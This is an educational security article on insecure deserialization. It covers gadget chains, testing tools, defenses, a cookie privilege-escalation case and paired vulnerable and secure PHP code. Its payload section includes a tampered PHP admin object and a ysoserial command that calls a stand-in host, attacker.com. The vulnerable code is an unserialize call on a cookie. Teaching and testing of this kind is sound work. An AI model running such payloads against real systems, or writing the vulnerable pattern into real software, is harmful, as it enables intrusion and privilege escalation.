Security Cipher

Security Resources

⌘K
  1. Home
  2. Security Resources
  3. Vulnerability Explain
  4. Insecure Deserialization

Insecure Deserialization

In this Vulnerability Explain article we dig into Insecure Deserialization, a flaw that sounds academic but routinely ends in full server compromise. It powers many of the most serious framework CVEs of the last decade. We will explain what serialization is, why trusting serialized input is dangerous, how to test for it, and how to defend your apps.

What is Insecure Deserialization?

Serialization turns an object in memory into a byte stream so it can be stored or transmitted; deserialization rebuilds the object on the other side. Insecure Deserialization happens when an application deserializes data that an attacker controls, allowing them to tamper with the rebuilt object or trigger dangerous code during the rebuild.

Think of serialized data as flat-pack furniture with an instruction sheet. Normally the sheet just says how to reassemble a chair. But if an attacker rewrites the instructions, the assembly process itself can be turned into something harmful – and some platforms will follow those instructions all the way to running code.

How does Insecure Deserialization work?

The danger lies in deserializing untrusted input with a library that can instantiate arbitrary classes or invoke methods during rebuilding. A typical attack flows like this:

  • Serialized Data Exposed to Users
    • The app sends serialized objects in cookies, hidden fields, tokens, or API messages and trusts them on the way back.
  • Attacker Crafts a Malicious Object
    • Using knowledge of available classes (gadgets), the attacker builds a serialized payload that does more than carry data.
  • Application Deserializes Blindly
    • The server reconstructs the object without verifying its type or integrity.
  • Gadget Chain Triggers
    • Magic methods or property setters fire during deserialization, chaining together into unintended behavior.
  • Impact
    • Outcomes range from authentication bypass and privilege escalation to full remote code execution.

In short, deserializing attacker-controlled data is like running a program someone else wrote inside your process. If you would not run their code, do not rebuild their objects without strong controls.

Insecure deserialization diagram showing a tampered serialized role being deserialized into admin access

How insecure deserialization works: tampered serialized data is rebuilt into a privileged object.

Tools and Techniques for Insecure Deserialization Testing

Deserialization testing leans on gadget-chain knowledge and specialized tools, since the payloads are language and framework specific.

Manual Testing Methodologies

  • Spot Serialized Data – Look for telltale markers: Java’s rO0AB and ac ed 00 05 bytes, PHP’s O: object notation, .NET base64 blobs, or Python pickle streams.
  • Tamper and Observe – Modify serialized fields (for example an isAdmin flag) and watch for changed behavior, which signals trust in the data.
  • Magic Method Mapping – Identify classes with hooks that run on deserialization and reason about how they could be abused.
  • Out-of-Band Confirmation – Use gadget chains that trigger a DNS or HTTP callback to confirm execution without harming the target.

Automated Scanning Tools

  • ysoserial – Generates Java deserialization payloads from a large library of gadget chains.
  • ysoserial.net – The .NET equivalent for crafting deserialization payloads.
  • PHPGGC – Produces PHP unserialize gadget chains for common frameworks.
  • Java Deserialization Scanner – A Burp extension that finds and exploits Java deserialization issues.

Insecure Deserialization Protection Mechanisms

Best Practices for Secure Coding

  • Do Not Deserialize Untrusted Data
    • Description: Avoid native binary serialization for anything that crosses a trust boundary.
    • Benefits: Removes the most dangerous class of these bugs.
    • Implementation Tip: Prefer plain data formats like JSON with strict schemas, parsed into known types.
  • Enforce Integrity
    • Description: If you must pass serialized data to clients, sign it and verify the signature before use.
    • Benefits: Stops attackers from tampering with the payload.
    • Implementation Tip: Use an HMAC with a server-side secret and reject any data that fails verification.
  • Restrict Types During Deserialization
    • Description: Use allowlists so only expected, safe classes can be instantiated.
    • Benefits: Breaks gadget chains that rely on dangerous classes.
    • Implementation Tip: In Java use a filtering ObjectInputStream; in .NET avoid BinaryFormatter and use type-safe serializers.

Best Practices for Organizations

  • Inventory and Replace Risky APIs
    • Audit code for native deserialization of external input.
    • Migrate away from deprecated, unsafe serializers like Java’s default and .NET BinaryFormatter.
  • Dependency Management
    • Keep frameworks patched, since gadget chains often live in third-party libraries.
    • Remove unused libraries that expand the gadget surface.
  • Defense in Depth
    • Run services with least privilege so a successful exploit gains little.
    • Monitor for unexpected process activity tied to deserialization endpoints.

Top Insecure Deserialization payloads used by Security Researchers

As a security researcher, knowing the most common payloads helps you detect and prevent these attacks. Use this knowledge ethically and only on systems you are authorized to test. Some sample payloads are shown below.

// Java serialized object marker (base64 of binary stream)
rO0ABXNy... (starts with the bytes AC ED 00 05)
// PHP object injection - tampering a property
O:4:"User":2:{s:4:"name";s:5:"guest";s:7:"isAdmin";b:1;}
// Generating a Java RCE payload with ysoserial (authorized testing only)
java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/x' | base64
// Python pickle is unsafe on untrusted input - conceptual marker
# bytes beginning with \x80 indicate a pickle stream

Real-World Example: Privilege Escalation Through a Serialized Cookie

An application stored the logged-in user’s profile as a serialized object inside a cookie, then deserialized it on every request to decide what the user could see.

A tester decoded the cookie, found a serialized object with a role property set to user, flipped it to admin, re-encoded it, and sent it back. The server rebuilt the object and granted admin access. On the same stack, a crafted gadget-chain payload escalated all the way to remote code execution.

The fix moved session state server side and signed any client data with an HMAC. The principle is blunt: serialized input from a user is untrusted code waiting to run, so never rebuild it without integrity checks and type restrictions.

Vulnerable and secure code of Insecure Deserialization

The following example shows the contrast between vulnerable and secure code for Insecure Deserialization. It helps you see how the flaw creeps into real code and the changes that shut it down.

🥺 Vulnerable Code:

<?php
// Vulnerable: rebuilds an object from an attacker-controlled cookie
$data = $_COOKIE['profile'];
$user = unserialize($data);   // attacker controls the serialized blob
if ($user->role === "admin") {
    grant_admin_access();
}
?>
  • unserialize rebuilds whatever object the cookie describes, including tampered properties.
  • With the right classes present, a crafted payload can trigger code during deserialization.

😎 Secure Code:

<?php
// Secure: use signed JSON with explicit, expected fields
$raw = $_COOKIE['profile'] ?? '';
[$payload, $sig] = explode('.', $raw, 2) + ['', ''];
$expected = hash_hmac('sha256', $payload, $SERVER_SECRET);
if (!hash_equals($expected, $sig)) {
    deny_access();   // tampered or forged data
}
$user = json_decode(base64_decode($payload), true);
$role = $user['role'] ?? 'guest';
?>
  • JSON with json_decode only produces plain data, never instantiates arbitrary classes.
  • The HMAC signature proves the data came from the server and was not tampered with.

Conclusion

Deserializing attacker-controlled data is like running a program someone else wrote inside your process. The safest path is to avoid native binary serialization across trust boundaries entirely, prefer plain formats like JSON parsed into known types, sign any data you must hand to clients, and restrict which classes can ever be instantiated. Keep your frameworks patched too, because the dangerous gadget chains usually live in third-party libraries, not your own code.

How can we help?